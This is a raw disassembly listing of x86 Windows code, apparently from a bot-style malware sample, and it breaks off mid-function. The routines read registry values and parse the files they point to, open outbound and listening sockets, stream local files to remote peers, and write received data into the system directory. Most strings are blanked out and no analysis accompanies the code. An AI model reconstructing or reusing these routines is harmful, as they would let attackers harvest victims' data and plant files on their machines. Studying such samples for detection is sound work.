var_60		= dword	ptr -60h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
Src		= dword	ptr -4
arg_0		= dword	ptr  8
Size		= dword	ptr  0Ch
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 90h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	esi
		xor	ebx, ebx
		push	esi
		push	dword_4D3280
		push	78h
		push	0A0h
		push	ebx
		push	ebx
		push	40000000h
		push	offset aWindow	; "Window"
		call	dword_4CB5A4
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_41582F
		mov	eax, esi
		jmp	loc_415A2B
; ---------------------------------------------------------------------------


loc_41582F:				; CODE XREF: sub_4157F1+35j
		push	edi
		call	dword_4CB5F4	; IsWindow
		test	eax, eax
		jz	short loc_41584C
		push	ebx
		push	[ebp+Size]
		push	40Ah
		push	edi
		call	dword_4CB6B0	; SendMessageA
		jmp	short loc_41584E
; ---------------------------------------------------------------------------


loc_41584C:				; CODE XREF: sub_4157F1+47j
		xor	eax, eax


loc_41584E:				; CODE XREF: sub_4157F1+59j
		cmp	eax, ebx
		jnz	short loc_415859


loc_415852:				; CODE XREF: sub_4157F1+8Bj
					; sub_4157F1+BCj
		mov	ebx, esi
		jmp	loc_415A22
; ---------------------------------------------------------------------------


loc_415859:				; CODE XREF: sub_4157F1+5Fj
		push	edi
		call	dword_4CB5F4	; IsWindow
		test	eax, eax
		jz	short loc_415879
		lea	eax, [ebp+var_90]
		push	eax
		push	2Ch
		push	40Eh
		push	edi
		call	dword_4CB6B0	; SendMessageA


loc_415879:				; CODE XREF: sub_4157F1+71j
		cmp	[ebp+var_7C], ebx
		jz	short loc_415852
		push	edi
		call	dword_4CB5F4	; IsWindow
		test	eax, eax
		jz	short loc_41589C
		push	ebx
		push	ebx
		push	42Ch
		push	edi
		call	dword_4CB6B0	; SendMessageA
		mov	[ebp+Size], eax
		jmp	short loc_41589F
; ---------------------------------------------------------------------------


loc_41589C:				; CODE XREF: sub_4157F1+96j
		mov	[ebp+Size], ebx


loc_41589F:				; CODE XREF: sub_4157F1+A9j
		push	[ebp+Size]	; Size
		call	_malloc
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+Src], eax
		jz	short loc_415852
		push	[ebp+Size]	; Size
		call	_malloc
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_4158C6
		push	1
		pop	ebx
		jmp	loc_415A22
; ---------------------------------------------------------------------------


loc_4158C6:				; CODE XREF: sub_4157F1+CBj
		push	edi
		call	dword_4CB5F4	; IsWindow
		test	eax, eax
		jz	short loc_4158E3
		push	[ebp+Src]
		push	[ebp+Size]
		push	42Ch
		push	edi
		call	dword_4CB6B0	; SendMessageA


loc_4158E3:				; CODE XREF: sub_4157F1+DEj
		push	[ebp+Size]	; Size
		push	[ebp+Src]	; Src
		push	esi		; Dst
		call	_memcpy
		mov	ecx, [ebp+arg_C]
		add	esp, 0Ch
		cmp	ecx, ebx
		jg	short loc_4158FE
		mov	ecx, 0A0h


loc_4158FE:				; CODE XREF: sub_4157F1+106j
		mov	eax, [ebp+arg_10]
		cmp	eax, ebx
		jg	short loc_415908
		push	78h
		pop	eax


loc_415908:				; CODE XREF: sub_4157F1+112j
		push	edi
		mov	[esi+4], ecx
		mov	[esi+8], eax
		mov	word ptr [esi+0Eh], 10h
		mov	[esi+14h], ebx
		mov	[esi+10h], ebx
		mov	[esi+20h], ebx
		mov	[esi+24h], ebx
		mov	word ptr [esi+0Ch], 1
		mov	[esi+28h], bl
		mov	[esi+29h], bl
		mov	[esi+2Ah], bl
		mov	[esi+2Bh], bl
		call	dword_4CB5F4	; IsWindow
		test	eax, eax
		jz	short loc_41594D
		push	esi
		push	[ebp+Size]
		push	42Dh
		push	edi
		call	dword_4CB6B0	; SendMessageA


loc_41594D:				; CODE XREF: sub_4157F1+14Aj
		push	edi
		call	dword_4CB5F4	; IsWindow
		test	eax, eax
		jz	short loc_41596A
		lea	eax, [ebp+var_64]
		push	eax
		push	60h
		push	441h
		push	edi
		call	dword_4CB6B0	; SendMessageA


loc_41596A:				; CODE XREF: sub_4157F1+165j
		push	edi
		mov	[ebp+var_60], ebx
		mov	[ebp+var_3C], ebx
		mov	[ebp+var_38], ebx
		mov	[ebp+var_34], ebx
		mov	[ebp+var_30], 1
		mov	[ebp+var_2C], 5
		mov	[ebp+var_64], 1046Ah
		call	dword_4CB5F4	; IsWindow
		test	eax, eax
		jz	short loc_4159A8
		lea	eax, [ebp+var_64]
		push	eax
		push	60h
		push	440h
		push	edi
		call	dword_4CB6B0	; SendMessageA


loc_4159A8:				; CODE XREF: sub_4157F1+1A3j
		push	edi
		call	dword_4CB5F4	; IsWindow
		test	eax, eax
		jz	short loc_4159C3
		push	[ebp+arg_0]
		push	ebx
		push	414h
		push	edi
		call	dword_4CB6B0	; SendMessageA


loc_4159C3:				; CODE XREF: sub_4157F1+1C0j
		push	edi
		call	dword_4CB5F4	; IsWindow
		test	eax, eax
		jz	short loc_4159DC
		push	ebx
		push	ebx
		push	43Eh
		push	edi
		call	dword_4CB6B0	; SendMessageA


loc_4159DC:				; CODE XREF: sub_4157F1+1DBj
		push	edi
		call	dword_4CB5F4	; IsWindow
		test	eax, eax
		jz	short loc_4159F9
		push	[ebp+Src]
		push	[ebp+Size]
		push	42Dh
		push	edi
		call	dword_4CB6B0	; SendMessageA


loc_4159F9:				; CODE XREF: sub_4157F1+1F4j
		push	[ebp+Src]
		call	sub_41B0B1
		push	esi
		call	sub_41B0B1
		pop	ecx
		pop	ecx
		push	edi
		call	dword_4CB5F4	; IsWindow
		test	eax, eax
		jz	short loc_415A22
		push	ebx
		push	ebx
		push	40Bh
		push	edi
		call	dword_4CB6B0	; SendMessageA


loc_415A22:				; CODE XREF: sub_4157F1+63j
					; sub_4157F1+D0j ...
		push	edi
		call	dword_4CB704	; DestroyWindow
		mov	eax, ebx


loc_415A2B:				; CODE XREF: sub_4157F1+39j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4157F1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415A30	proc near		; CODE XREF: sub_401ACD+25F2p

Filename	= byte ptr -3F4h
var_2F0		= dword	ptr -2F0h
var_F0		= byte ptr -0F0h
Str		= byte ptr -70h
var_C		= dword	ptr -0Ch
File		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 3F4h
		push	ebx
		xor	ebx, ebx
		cmp	off_4368EC, ebx
		mov	[ebp+var_C], 80h
		jz	loc_415BD1
		push	esi
		push	edi
		mov	eax, offset off_4368EC
		mov	esi, offset dword_4368F8
		mov	edi, offset asc_437AF0 ; "-"


loc_415A60:				; CODE XREF: sub_415A30+199j
		lea	ecx, [ebp+var_4]
		push	ecx
		push	20019h
		push	ebx
		push	dword ptr [eax]
		push	dword ptr [esi-10h]
		call	dword_4CB6C4	; RegOpenKeyExA
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		push	ebx
		push	ebx
		push	dword ptr [esi-8]
		push	[ebp+var_4]
		call	dword_4CB554	; RegQueryValueExA
		test	eax, eax
		jnz	loc_415BB7
		mov	eax, [esi]
		cmp	eax, ebx
		jz	loc_415B7B
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+Filename]
		push	offset Format	; "%s\\%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Filename]
		push	offset aR	; "r"
		push	eax		; Filename
		call	_fopen
		add	esp, 18h
		cmp	eax, ebx
		mov	[ebp+File], eax
		jz	loc_415BB7
		push	eax		; File


loc_415AD9:				; CODE XREF: sub_415A30+D4j
		lea	eax, [ebp+Str]
		push	64h		; MaxCount
		push	eax		; Buf
		call	_fgets
		add	esp, 0Ch
		test	eax, eax
		jz	loc_415B70
		push	dword ptr [esi+4] ; SubStr
		lea	eax, [ebp+Str]
		push	eax		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415B06
		push	[ebp+File]
		jmp	short loc_415AD9
; ---------------------------------------------------------------------------


loc_415B06:				; CODE XREF: sub_415A30+CFj
		push	3Dh		; Val
		push	dword ptr [esi+4] ; Str
		call	_strchr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415B34
		lea	eax, [ebp+Str]
		push	offset asc_437AEC ; "="
		push	eax		; Str
		call	_strtok
		push	offset asc_437AEC ; "="
		push	ebx		; Str
		call	_strtok
		add	esp, 10h
		jmp	short loc_415B37
; ---------------------------------------------------------------------------


loc_415B34:				; CODE XREF: sub_415A30+E4j
		lea	eax, [ebp+Str]


loc_415B37:				; CODE XREF: sub_415A30+102j
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi		; Format
		push	eax		; Dest
		call	_sprintf
		add	esp, 10h
		lea	eax, [ebp+var_2F0]
		push	ebx		; int
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+arg_4]	; Str
		push	[ebp+arg_0]	; int
		call	sub_409A73
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_4151AD
		add	esp, 18h


loc_415B70:				; CODE XREF: sub_415A30+B9j
		push	[ebp+File]	; File
		call	_fclose
		pop	ecx
		jmp	short loc_415BB7
; ---------------------------------------------------------------------------


loc_415B7B:				; CODE XREF: sub_415A30+6Aj
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi		; Format
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+var_2F0]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+arg_4]	; Str
		push	[ebp+arg_0]	; int
		call	sub_409A73
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_4151AD
		add	esp, 28h


loc_415BB7:				; CODE XREF: sub_415A30+60j
					; sub_415A30+A2j ...
		push	[ebp+var_4]
		call	dword_4CB630	; RegCloseKey
		add	esi, 18h
		cmp	[esi-0Ch], ebx
		lea	eax, [esi-0Ch]
		jnz	loc_415A60
		pop	edi
		pop	esi


loc_415BD1:				; CODE XREF: sub_415A30+19j
		pop	ebx
		leave
		retn
sub_415A30	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415BD4	proc near		; CODE XREF: sub_415C5A+33p
					; sub_4161BD+BCp

Dst		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_4CB6D4	; socket
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_415C50
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	0		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		mov	[ebp+Dst], 2
		push	[ebp+arg_4]
		call	dword_4CB654	; htons
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_4CB694	; inet_addr
		cmp	eax, esi
		jnz	short loc_415C35
		push	[ebp+arg_0]
		call	dword_4CB6D8	; gethostbyname
		test	eax, eax
		jz	short loc_415C50
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]


loc_415C35:				; CODE XREF: sub_415BD4+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+Dst]
		push	10h
		push	eax
		push	edi
		call	dword_4CB5FC	; connect
		cmp	eax, esi
		jnz	short loc_415C54
		push	edi
		call	dword_4CB6EC	; closesocket


loc_415C50:				; CODE XREF: sub_415BD4+1Bj
					; sub_415BD4+58j
		mov	eax, esi
		jmp	short loc_415C56
; ---------------------------------------------------------------------------


loc_415C54:				; CODE XREF: sub_415BD4+73j
		mov	eax, edi


loc_415C56:				; CODE XREF: sub_415BD4+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_415BD4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415C5A	proc near		; DATA XREF: sub_401ACD+A1Eo

Dst		= byte ptr -11B4h
var_1B4		= byte ptr -1B4h
var_1AC		= byte ptr -1ACh
Str		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 11B4h
		call	__alloca_probe
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1B4]
		rep movsd
		push	1
		pop	esi
		push	[ebp+var_14]
		mov	[eax+1B0h], esi
		lea	eax, [ebp+var_1AC]
		push	eax
		call	sub_415BD4
		mov	ebx, eax
		pop	ecx
		cmp	ebx, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_415CED
		lea	eax, [ebp+Dst]
		push	offset asc_437B6C ; "-"
		push	eax		; Dest
		call	_sprintf
		xor	edi, edi
		pop	ecx
		cmp	[ebp+var_8], edi
		pop	ecx
		jnz	short loc_415CD0
		push	edi		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_C]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	ebx		; int
		call	sub_409A73
		add	esp, 14h


loc_415CD0:				; CODE XREF: sub_415C5A+59j
		lea	eax, [ebp+Dst]
		push	eax
		call	sub_4151AD
		push	[ebp+var_10]
		call	sub_40B413
		pop	ecx
		pop	ecx
		push	esi
		call	ds:dword_4270CC	; ExitThread


loc_415CED:				; CODE XREF: sub_415C5A+3Fj
		push	offset byte_43D808
		push	ebx
		call	sub_419C65
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_415D58
		lea	eax, [ebp+Dst]
		push	offset asc_437B3C ; "-"
		push	eax		; Dest
		call	_sprintf
		xor	edi, edi
		pop	ecx
		cmp	[ebp+var_8], edi
		pop	ecx
		jnz	short loc_415D34
		push	edi		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_C]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	ebx		; int
		call	sub_409A73
		add	esp, 14h


loc_415D34:				; CODE XREF: sub_415C5A+BDj
		lea	eax, [ebp+Dst]
		push	eax
		call	sub_4151AD
		pop	ecx
		push	ebx
		call	dword_4CB6EC	; closesocket
		push	[ebp+var_10]
		call	sub_40B413
		pop	ecx
		push	esi
		call	ds:dword_4270CC	; ExitThread


loc_415D58:				; CODE XREF: sub_415C5A+A3j
		push	64h
		call	ds:dword_427078	; Sleep
		xor	edi, edi
		mov	esi, 1000h


loc_415D67:				; CODE XREF: sub_415C5A+168j
		push	esi		; Size
		lea	eax, [ebp+Dst]
		push	edi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+Dst]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	dword_4CB66C	; recv
		test	eax, eax
		jle	short loc_415DC4
		lea	eax, [ebp+Dst]
		push	offset asc_42A0A0 ; "\n"
		push	eax		; Dest
		call	_strcat
		lea	eax, [ebp+Dst]
		push	eax		; Str
		call	sub_419A51
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_415DC4
		push	64h
		call	ds:dword_427078	; Sleep
		push	0Ah
		call	sub_40B33F
		test	eax, eax
		pop	ecx
		jnz	short loc_415D67


loc_415DC4:				; CODE XREF: sub_415C5A+130j
					; sub_415C5A+154j
		lea	eax, [ebp+Dst]
		push	offset asc_437B08 ; "-"
		push	eax		; Dest
		call	_sprintf
		cmp	[ebp+var_8], edi
		pop	ecx
		pop	ecx
		jnz	short loc_415DF7
		push	edi		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_C]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	ebx		; int
		call	sub_409A73
		add	esp, 14h


loc_415DF7:				; CODE XREF: sub_415C5A+180j
		lea	eax, [ebp+Dst]
		push	eax
		call	sub_4151AD
		pop	ecx
		push	ebx
		call	dword_4CB6EC	; closesocket
		push	[ebp+var_10]
		call	sub_40B413
		pop	ecx
		push	edi
		call	ds:dword_4270CC	; ExitThread
sub_415C5A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415E1B	proc near		; DATA XREF: sub_401ACD+7832o

var_A04		= byte ptr -0A04h
var_604		= byte ptr -604h
var_500		= dword	ptr -500h
var_4FC		= dword	ptr -4FCh
Dest		= byte ptr -3FCh
var_1FC		= dword	ptr -1FCh
var_1F8		= dword	ptr -1F8h
Str		= byte ptr -1E0h
var_DC		= byte ptr -0DCh
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_48		= byte ptr -48h
var_44		= dword	ptr -44h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
Dst		= word ptr -30h
var_2E		= dword	ptr -2Eh
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0A04h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1FC]
		rep movsd
		push	1
		xor	esi, esi
		pop	ebx
		mov	[ebp+var_10], esi
		push	esi
		push	ebx
		push	2
		mov	[eax+1B0h], ebx
		mov	[ebp+var_C], esi
		mov	[ebp+var_20], esi
		call	dword_4CB6D4	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_18], edi
		jnz	short loc_415E69
		push	offset unk_437C6C
		jmp	loc_416022
; ---------------------------------------------------------------------------


loc_415E69:				; CODE XREF: sub_415E1B+42j
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		mov	[ebp+Dst], 2
		push	esi
		call	dword_4CB654	; htons
		mov	word ptr [ebp+var_2E], ax
		lea	eax, [ebp+Dst]
		push	10h
		push	eax
		push	edi
		mov	[ebp+var_2E+2],	esi
		call	dword_4CB680	; bind
		test	eax, eax
		jz	short loc_415EA7
		push	offset unk_437C48
		jmp	loc_416022
; ---------------------------------------------------------------------------


loc_415EA7:				; CODE XREF: sub_415E1B+80j
		lea	eax, [ebp+var_1C]
		mov	[ebp+var_1C], 10h
		push	eax
		lea	eax, [ebp+Dst]
		push	eax
		push	edi
		call	dword_4CB5F8	; getsockname
		push	[ebp+var_2E]
		call	dword_4CB584	; htons
		mov	[ebp+var_4], eax
		lea	eax, [ebp+Str]
		push	eax		; Str
		mov	[ebp+arg_0], esi
		call	_strlen
		pop	ecx


loc_415ED9:				; CODE XREF: sub_415E1B+EFj
		mov	ecx, [ebp+arg_0]
		mov	al, [ebp+ecx+Str]
		cmp	al, 20h
		jnz	short loc_415EEC
		push	5Fh
		pop	eax
		jmp	short loc_415EEF
; ---------------------------------------------------------------------------


loc_415EEC:				; CODE XREF: sub_415E1B+CAj
		movsx	eax, al


loc_415EEF:				; CODE XREF: sub_415E1B+CFj
		mov	[ebp+ecx+var_604], al
		lea	eax, [ebp+Str]
		inc	ecx
		push	eax		; Str
		mov	[ebp+arg_0], ecx
		call	_strlen
		cmp	[ebp+arg_0], eax
		pop	ecx
		jbe	short loc_415ED9
		push	ebx
		push	edi
		call	dword_4CB67C	; listen
		test	eax, eax
		jz	short loc_415F22
		push	offset asc_437B6C ; "-"
		jmp	loc_416022
; ---------------------------------------------------------------------------


loc_415F22:				; CODE XREF: sub_415E1B+FBj
		push	esi
		push	esi
		push	3
		push	esi
		push	ebx
		lea	eax, [ebp+Str]
		push	80000000h
		push	eax
		call	ds:dword_4270EC	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_8], eax
		jnz	short loc_415F4C
		push	offset unk_437C28
		jmp	loc_416022
; ---------------------------------------------------------------------------


loc_415F4C:				; CODE XREF: sub_415E1B+125j
		push	esi
		push	eax
		call	ds:dword_427108	; GetFileSize
		mov	[ebp+arg_0], eax
		push	eax
		movzx	eax, word ptr [ebp+var_4]
		push	eax
		push	[ebp+var_1FC]
		call	sub_40AC10
		pop	ecx
		push	eax
		call	dword_4CB694	; inet_addr
		push	eax
		call	dword_4CB650	; htonl
		push	eax
		lea	eax, [ebp+Str]
		push	eax
		lea	eax, [ebp+Dest]
		push	offset dword_437C10 ; Format
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	esi		; int
		push	eax		; int
		lea	eax, [ebp+var_DC]
		push	eax		; Str
		push	[ebp+var_1FC]	; int
		call	sub_409A73
		add	esp, 2Ch
		lea	eax, [ebp+var_38]
		mov	[ebp+var_38], 3Ch
		mov	[ebp+var_34], esi
		push	eax
		push	esi
		lea	eax, [ebp+var_500]
		push	esi
		push	eax
		push	esi
		mov	[ebp+var_4FC], edi
		mov	[ebp+var_500], ebx
		call	dword_4CB63C	; select
		test	eax, eax
		jg	short loc_415FFC
		push	esi		; int
		lea	eax, [ebp+var_DC]
		push	[ebp+var_54]	; int
		push	offset dword_437BF8 ; int
		push	eax		; Str
		push	[ebp+var_1FC]	; int
		call	sub_409A73
		jmp	loc_416120
; ---------------------------------------------------------------------------


loc_415FFC:				; CODE XREF: sub_415E1B+1BFj
		lea	eax, [ebp+var_14]
		mov	[ebp+var_14], 10h
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		push	edi
		call	dword_4CB6E8	; accept
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_1F8], eax
		jnz	short loc_416035
		push	offset asc_437BD4 ; "-"


loc_416022:				; CODE XREF: sub_415E1B+49j
					; sub_415E1B+87j ...
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx
		jmp	loc_416123
; ---------------------------------------------------------------------------


loc_416035:				; CODE XREF: sub_415E1B+200j
		push	edi
		call	dword_4CB6EC	; closesocket
		cmp	[ebp+arg_0], esi
		jz	loc_4160E7
		mov	edi, 400h


loc_41604A:				; CODE XREF: sub_415E1B+2C3j
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		cmp	eax, edi
		jge	short loc_416057
		mov	[ebp+var_4], eax


loc_416057:				; CODE XREF: sub_415E1B+237j
		push	edi		; Size
		lea	eax, [ebp+var_A04]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		neg	eax
		push	2
		push	esi
		push	eax
		push	[ebp+var_8]
		call	ds:dword_42711C	; SetFilePointer
		lea	eax, [ebp+var_20]
		push	esi
		push	eax
		lea	eax, [ebp+var_A04]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8]
		call	ds:dword_4270E8	; ReadFile
		push	esi
		lea	eax, [ebp+var_A04]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_1F8]
		call	dword_4CB6A4	; send
		mov	[ebp+var_4], eax
		push	esi
		cdq
		add	[ebp+var_10], eax
		lea	eax, [ebp+var_A04]
		push	edi
		push	eax
		push	[ebp+var_1F8]
		adc	[ebp+var_C], edx
		call	dword_4CB66C	; recv
		cmp	eax, ebx
		jl	loc_41617C
		mov	eax, [ebp+var_4]
		cmp	eax, ebx
		jl	loc_41617C
		sub	[ebp+arg_0], eax
		jnz	loc_41604A
		mov	edi, [ebp+var_18]


loc_4160E7:				; CODE XREF: sub_415E1B+224j
		push	[ebp+var_8]
		call	ds:dword_427068	; CloseHandle
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_416923
		pop	ecx
		pop	ecx
		push	eax
		push	[ebp+var_44]
		call	dword_4CB6E0	; inet_ntoa
		push	eax
		lea	eax, [ebp+Str]
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_437BA8 ; "-"
		push	eax		; Dest
		call	_sprintf


loc_416120:				; CODE XREF: sub_415E1B+1DCj
		add	esp, 14h


loc_416123:				; CODE XREF: sub_415E1B+215j
		cmp	[ebp+var_50], esi
		jnz	short loc_416148
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_54]	; int
		push	eax		; int
		lea	eax, [ebp+var_DC]
		push	eax		; Str
		push	[ebp+var_1FC]	; int
		call	sub_409A73
		add	esp, 14h


loc_416148:				; CODE XREF: sub_415E1B+30Bj
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_4151AD
		cmp	edi, esi
		pop	ecx
		jbe	short loc_416160
		push	edi
		call	dword_4CB6EC	; closesocket


loc_416160:				; CODE XREF: sub_415E1B+33Cj
		push	[ebp+var_1F8]
		call	dword_4CB6EC	; closesocket
		push	[ebp+var_58]
		call	sub_40B413
		pop	ecx
		push	esi
		call	ds:dword_4270CC	; ExitThread


loc_41617C:				; CODE XREF: sub_415E1B+2AFj
					; sub_415E1B+2BAj
		push	esi		; int
		mov	esi, offset asc_437B90 ; "-"
		push	[ebp+var_54]	; int
		lea	eax, [ebp+var_DC]
		push	esi		; int
		push	eax		; Str
		push	[ebp+var_1FC]	; int
		call	sub_409A73
		push	esi
		call	sub_4151AD
		add	esp, 18h
		push	[ebp+var_1F8]
		call	dword_4CB6EC	; closesocket
		push	[ebp+var_58]
		call	sub_40B413
		pop	ecx
		push	ebx
		call	ds:dword_4270CC	; ExitThread
sub_415E1B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4161BD	proc near		; DATA XREF: sub_401ACD+7B4o

Dst		= byte ptr -14C4h
var_4C4		= dword	ptr -4C4h
Filename	= byte ptr -2C4h
var_1C0		= dword	ptr -1C0h
var_1B8		= byte ptr -1B8h
var_1A4		= byte ptr -1A4h
Str		= byte ptr -0A0h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
File		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 14C4h
		call	__alloca_probe
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1C0]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		mov	[ebp+var_8], ebx
		mov	[eax+1B0h], esi
		lea	eax, [ebp+Filename]
		push	104h
		push	eax
		call	ds:dword_427074	; GetSystemDirectoryA
		lea	eax, [ebp+var_1A4]
		push	eax
		lea	eax, [ebp+Filename]
		push	eax
		lea	eax, [ebp+Filename]
		push	offset aSS	; "%s%s"
		push	eax		; Dest
		call	_sprintf
		add	esp, 10h
		lea	eax, [ebp+Filename]
		push	ebx
		push	80h
		push	2
		push	ebx
		push	esi
		push	40000000h
		push	eax
		call	ds:dword_4270EC	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_416247
		push	offset unk_437D0C
		jmp	short loc_41628D
; ---------------------------------------------------------------------------


loc_416247:				; CODE XREF: sub_4161BD+81j
		push	eax
		call	ds:dword_427068	; CloseHandle
		lea	eax, [ebp+Filename]
		push	offset aAB	; "a+b"
		push	eax		; Filename
		call	_fopen
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+File], eax
		jnz	short loc_41626F
		push	offset unk_437CDC
		jmp	short loc_41628D
; ---------------------------------------------------------------------------


loc_41626F:				; CODE XREF: sub_4161BD+A9j
		push	[ebp+var_20]
		lea	eax, [ebp+var_1B8]
		push	eax
		call	sub_415BD4
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+arg_0], eax
		jnz	short loc_4162A0
		push	offset asc_437CBC ; "-"


loc_41628D:				; CODE XREF: sub_4161BD+88j
					; sub_4161BD+B0j
		lea	eax, [ebp+var_4C4]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx
		jmp	loc_41639C
; ---------------------------------------------------------------------------


loc_4162A0:				; CODE XREF: sub_4161BD+C9j
		mov	esi, 1000h


loc_4162A5:				; CODE XREF: sub_4161BD+14Ej
		push	esi		; Size
		lea	eax, [ebp+Dst]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+Dst]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB66C	; recv
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_41636C
		cmp	edi, 0FFFFFFFFh
		jz	short loc_41630D
		push	[ebp+File]	; File
		lea	eax, [ebp+Dst]
		push	edi		; Count
		push	1		; Size
		push	eax		; Str
		call	_fwrite
		add	[ebp+var_8], edi
		add	esp, 10h
		push	[ebp+var_8]
		call	dword_4CB650	; htonl
		mov	[ebp+var_C], eax
		push	ebx
		lea	eax, [ebp+var_C]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB6A4	; send
		jmp	short loc_4162A5
; ---------------------------------------------------------------------------


loc_41630D:				; CODE XREF: sub_4161BD+118j
		lea	eax, [ebp+var_4C4]
		push	offset asc_437B90 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+var_4C4]
		push	[ebp+var_18]	; int
